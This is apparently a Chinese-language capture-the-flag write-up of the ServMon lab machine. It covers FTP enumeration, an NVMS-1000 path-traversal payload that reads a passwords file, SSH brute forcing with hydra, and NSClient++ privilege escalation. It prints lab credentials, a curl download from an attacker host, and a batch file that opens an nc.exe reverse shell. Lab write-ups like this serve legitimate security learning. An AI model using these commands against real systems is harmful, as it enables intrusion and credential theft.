ServMon-Writeup

概述 (Overview)

32691190.png

攻击链 (Kiillchain)

84910906.png

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • hydra
  • Port forwarding
  • Reverse NC Shell

阶段1:枚举

开局常规用 nmap 扫一遍开放端口,并识别服务:

67281550.png

查看下 8443 端口,运行着一个Web服务 (NSClient++ 是 Nagios 监控系统在 Windows 下的客户端软件)
70111124.png

阶段2:工具及利用

阶段2.1:FTP匿名访问

从脚本扫描的信息可以获知 FTP 开放了匿名访问,先连上看看有什么。

67604642.png
两个文件夹里的内容都下载到本地,进行查看。得到 Nathan 用户它的密码放在了桌面。
67764657.png
暂时没有其他收获了,搜了下ssh的信息发现存在一个用户名枚举的CVE,尝试利用。
67718724.png
但是不知道啥环境影响,就是跑不起来…
70077941.png

阶段2.2:NVNS-1000 文件读取

然后接下来思路就断了,完全找不到突破口了… 尝试了好久,连SSH密码爆破我都用了还是没用…

在卡了我一下的情况下,我只能选择去抄作业了。发现这靶场就少给我起了一个 80 端口的服务… 我就无语了,重启、关闭后开启这个服务就是起不来… SB靶机,凸

76648250.png
这里假设 NVMS-1000 是启动的,那么在 exploit-db 中可以找到一个文件读取的利用
78005859.png

可以读取到Nathan的桌面文件,payload: /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

阶段2.3:SSH枚举登录

随后根据获取到的内容进行ssh的登录枚举:

78211800.png

[22][ssh] host: 10.10.10.184 login: Nadine password: L1k3B1gBut7s@W0rk

78282683.png
查看当前账号的权限信息:whoami /priv,全是 Enabled
78905970.png

当然,除了使用 hydra 以外可以用 crackmapexec 来枚举。

阶段3:权限提升

在翻手册时,发现有个 .ini 的配置文件,通过 SMB 传递到本地分析下。

79592990.png

79879883.png

在文件里获得一窜密钥。

79907528.png

通过网上搜到的文章和官方手册,服务存在 REST API,可以用它查看这个服务的所有可执行脚本(调用时需要验证密码)。

80311551.png
可以看到,存在很多的脚本,在官方文档内也找到了执行脚本的方法。
80593930.png
脚本的存放路径:C:\Program Files\NSClient++\scripts,接下来的思路就是将反弹shell的脚本载入到服务运行就好了。

首先用的是文件上传接口:
82347643.png

curl http://10.10.16.6/p.ps1 -o p.ps1

curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/p.ps1 --data-binary @p.ps1

OK,查看下已经成功上传到了服务器。
82509530.png

但还是有问题,文件内容为空,why? 看了下curl的详情信息,只有Header没有Body。我特么裂开…

83890526.png
这里换一个方向,转而尝试前台的用户登录。但输入密码后会提示没权限…
85587771.png
又卡了我半天… 第二天开始抄一把答案,发现是因为 NSClient++ 启动的配置设置了访问IP为本地 127.0.0.1,所以需要进行端口转才行。
85813877.png

sshpass:一个免交互 SSH 登录工具
sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.10.10.184 -L 8443:127.0.0.1:8443   

访问本地的端口,输入密码成功登录服务。
86321631.png
在 exploit 中有一个权限提升的栗子:
86225661.png

https://www.exploit-db.com/exploits/46802

经过多次尝试后才成功提权。

首先上传 nc.exe 到服务器后,在编写一个执行反连的批处理脚本也上传到服务器。

evil.bat:

@echo off
C:\Users\Nadine\Downloads\nc.exe 10.10.16.6 9900 -e cmd.exe

进入对应的视图: Settings > External Scripts > Scripts 添加脚本。

4123558.png
Settings > Scheduler > Schedules 添加定时执行的设置。
4487181.png
点击重启,等待NC等反连即可。
4616353.png
OK,提权成功。
32218695.png

参考

  • https://docs.nsclient.org/api/rest/
  • https://blog.51cto.com/467754239/1558861
  • https://docs.nsclient.org/web/
  • https://www.exploit-db.com/exploits/46802


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。